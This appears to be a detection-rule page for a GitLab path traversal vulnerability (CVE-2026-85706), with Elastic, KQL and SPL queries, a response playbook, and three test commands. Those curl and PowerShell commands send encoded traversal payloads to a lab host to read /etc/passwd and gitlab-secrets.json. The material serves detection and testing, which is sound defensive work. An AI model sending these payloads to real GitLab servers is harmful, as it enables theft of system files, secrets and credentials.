Detect GitLab Path Traversal Arbitrary File Read (CVE-2026-85706) in Elastic Security
Detects exploitation attempts and successful arbitrary file reads against GitLab Community Edition and Enterprise Edition via a path traversal vulnerability (CVE-2026-85706, CWE-35). Attackers abuse encoded or literal traversal sequences in GitLab HTTP request paths and parameters to read files outside the intended web root — including /etc/passwd, GitLab secrets (gitlab-secrets.json, secrets.yml), the database configuration, and SSH keys. The flaw is listed on the CISA KEV catalog and is being actively exploited in the wild; GitLab has urged immediate patching to 19.3.2 (and equivalent 19.2.x / 19.1.x patch releases). Detection focuses on traversal patterns in GitLab Workhorse/Rails access logs, anomalous file access by the git/gitlab-www service account, and outbound responses containing sensitive file content.
MITRE ATT&CK
- Tactic
- Initial Access Discovery Collection
Elastic Detection Query
any where event.category == "web" and
(
stringContains(url.original, "..%2f") or
stringContains(url.original, "..%5c") or
stringContains(url.original, "%2e%2e%2f") or
stringContains(url.path, "../") or
stringContains(url.original, "gitlab-secrets.json") or
stringContains(url.original, "/etc/passwd") or
stringContains(url.original, "secrets.yml")
) and
(stringContains(url.domain, "gitlab") or stringContains(url.path, "/gitlab"))Elastic EQL rule matching web events targeting the GitLab service with path-traversal or sensitive-file indicators for CVE-2026-85706.
Data Sources
Required Tables
False Positives & Tuning
- Normal GitLab API traffic referencing files with relative components inside a repo
- Internal CI/CD runners fetching artifacts through the proxy
- Approved security testing traffic
Other platforms for CVE-2026-85706
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Encoded path traversal to /etc/passwd against GitLab
Expected signal: A web request to the GitLab host containing an encoded '../' sequence and a reference to etc/passwd appears in Workhorse/proxy access logs.
- Test 2Traversal read of gitlab-secrets.json
Expected signal: Access log entry with '....//' traversal and gitlab-secrets.json in the URI against the GitLab service.
- Test 3Backslash-encoded traversal probe (Windows client)
Expected signal: Proxy/Workhorse log records a request containing '..%5c' encoded backslash traversal to the GitLab host.
References (5)
- https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-3-2-released/
- https://nvd.nist.gov/vuln/detail/CVE-2026-85706
- https://www.bleepingcomputer.com/news/security/gitlab-urges-users-to-patch-max-severity-path-traversal-flaw/
- https://thehackernews.com/2026/09/gitlab-cvss-10-file-read-flaw-draws-in.html
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
Response Playbook
Triage
- Confirm the targeted host is a GitLab CE/EE instance and identify its running version; anything below the fixed 19.3.2 (or the corresponding 19.2.x/19.1.x patch release) is vulnerable to CVE-2026-85706.
- Decode the request URI and query string from the alert and confirm the traversal payload resolves to a real out-of-web-root file (e.g., /etc/passwd, gitlab-secrets.json, config/secrets.yml, config/database.yml).
- Inspect the HTTP response status and size for the offending request — a 200 with a non-trivial body indicates a successful file read rather than a blocked/failed attempt.
- Enumerate all requests from the source IP against the GitLab host to determine whether reconnaissance escalated to reads of secret material.
Containment
- Apply the GitLab patch (upgrade to 19.3.2 or the relevant back-ported patch release) immediately; if patching cannot be immediate, place the instance behind a WAF rule blocking encoded traversal sequences and restrict inbound access to trusted networks.
- Block the offending source IP(s) at the perimeter/WAF and rate-limit anonymous access to the GitLab web front end.
Evidence Collection
- Preserve GitLab Workhorse and Rails production access/error logs, the fronting NGINX/reverse-proxy logs, and any WAF logs covering the exploitation window.
- Snapshot the GitLab server filesystem and capture the current gitlab-secrets.json and config files to determine exactly what an attacker could have exfiltrated.
Escalation Criteria
- !Escalate to incident response if any request returned HTTP 200 with the contents of gitlab-secrets.json, secrets.yml, or database.yml — assume secret key material and DB credentials are compromised.
- !Escalate if traversal reads are followed by authenticated sessions, new personal access tokens, CI/CD variable access, or repository cloning from the same or related source, indicating post-exploitation.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
GitLab Workhorse/Rails production access logs (/var/log/gitlab/gitlab-workhorse/current, /var/log/gitlab/gitlab-rails/production.log) - >
Reverse proxy access logs (/var/log/gitlab/nginx/gitlab_access.log) - >
Contents and mtime of /etc/gitlab/gitlab-secrets.json and config/database.yml on the affected host
Tuning Guidance
Baseline legitimate GitLab repository paths that contain relative components before enforcing high-severity alerting; exclude known scanner IPs and internal CI/CD runners. Prioritize alerts where the HTTP response is 200 with a body size consistent with the target file, and correlate source IPs across recon and read stages to reduce noise from opportunistic probing.
Hunting Queries
Hunt for repeated traversal sequences and sensitive-file references against GitLab, grouped by source IP and response status to separate probes from successful reads.
W3CIISLog | extend d = tolower(url_decode(csUriStem)) | where d matches regex @"(\.\.[\\/]){2,}" or d has "gitlab-secrets.json" | summarize count(), makeset(csUriStem) by cIP, scStatus | sort by count_ descindex=web (sourcetype=gitlab:workhorse OR sourcetype=nginx:plus:access) | eval d=urldecode(uri_path) | regex d="(?i)(\.\.[\\/]){2,}|gitlab-secrets\.json|secrets\.yml" | stats count values(d) as paths by src_ip status | sort - countAtomic Red Team Tests
Sends a GitLab HTTP request with a URL-encoded traversal sequence attempting to read /etc/passwd, simulating CVE-2026-85706 exploitation.
Command
curl -sk 'https://gitlab.lab.local/-/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' -H 'User-Agent: atomic-cve-2026-85706' -o /tmp/atomic_gitlab_passwd.out; head -n 3 /tmp/atomic_gitlab_passwd.outCleanup
rm -f /tmp/atomic_gitlab_passwd.outExpected Telemetry
A web request to the GitLab host containing an encoded '../' sequence and a reference to etc/passwd appears in Workhorse/proxy access logs.
Expected Detection
The KQL, SPL, and Chronicle rules match on the decoded traversal pattern and etc/passwd reference for the GitLab host.
Attempts to read GitLab's secrets file via a traversal payload to validate detection of the most sensitive CVE-2026-85706 target.
Command
curl -sk 'https://gitlab.lab.local/-/....//....//....//opt/gitlab/embedded/service/gitlab-rails/config/gitlab-secrets.json' -H 'User-Agent: atomic-cve-2026-85706' -o /tmp/atomic_gitlab_secrets.outCleanup
rm -f /tmp/atomic_gitlab_secrets.outExpected Telemetry
Access log entry with '....//' traversal and gitlab-secrets.json in the URI against the GitLab service.
Expected Detection
Rules fire on the gitlab-secrets.json indicator and multi-dot traversal regex; escalation criteria trigger if the response is HTTP 200.
Issues an encoded backslash traversal request from a Windows host to confirm detection coverage of alternate encoding forms for CVE-2026-85706.
Command
powershell -c "Invoke-WebRequest -SkipCertificateCheck -UseBasicParsing -Uri 'https://gitlab.lab.local/-/..%5c..%5c..%5c..%5cetc%5cpasswd' -Headers @{'User-Agent'='atomic-cve-2026-85706'} -OutFile $env:TEMP\atomic_gitlab.out"Cleanup
powershell -c "Remove-Item $env:TEMP\atomic_gitlab.out -ErrorAction SilentlyContinue"Expected Telemetry
Proxy/Workhorse log records a request containing '..%5c' encoded backslash traversal to the GitLab host.
Expected Detection
KQL and CQL rules match the '..%5c' / '..\\' backslash traversal patterns against the GitLab service.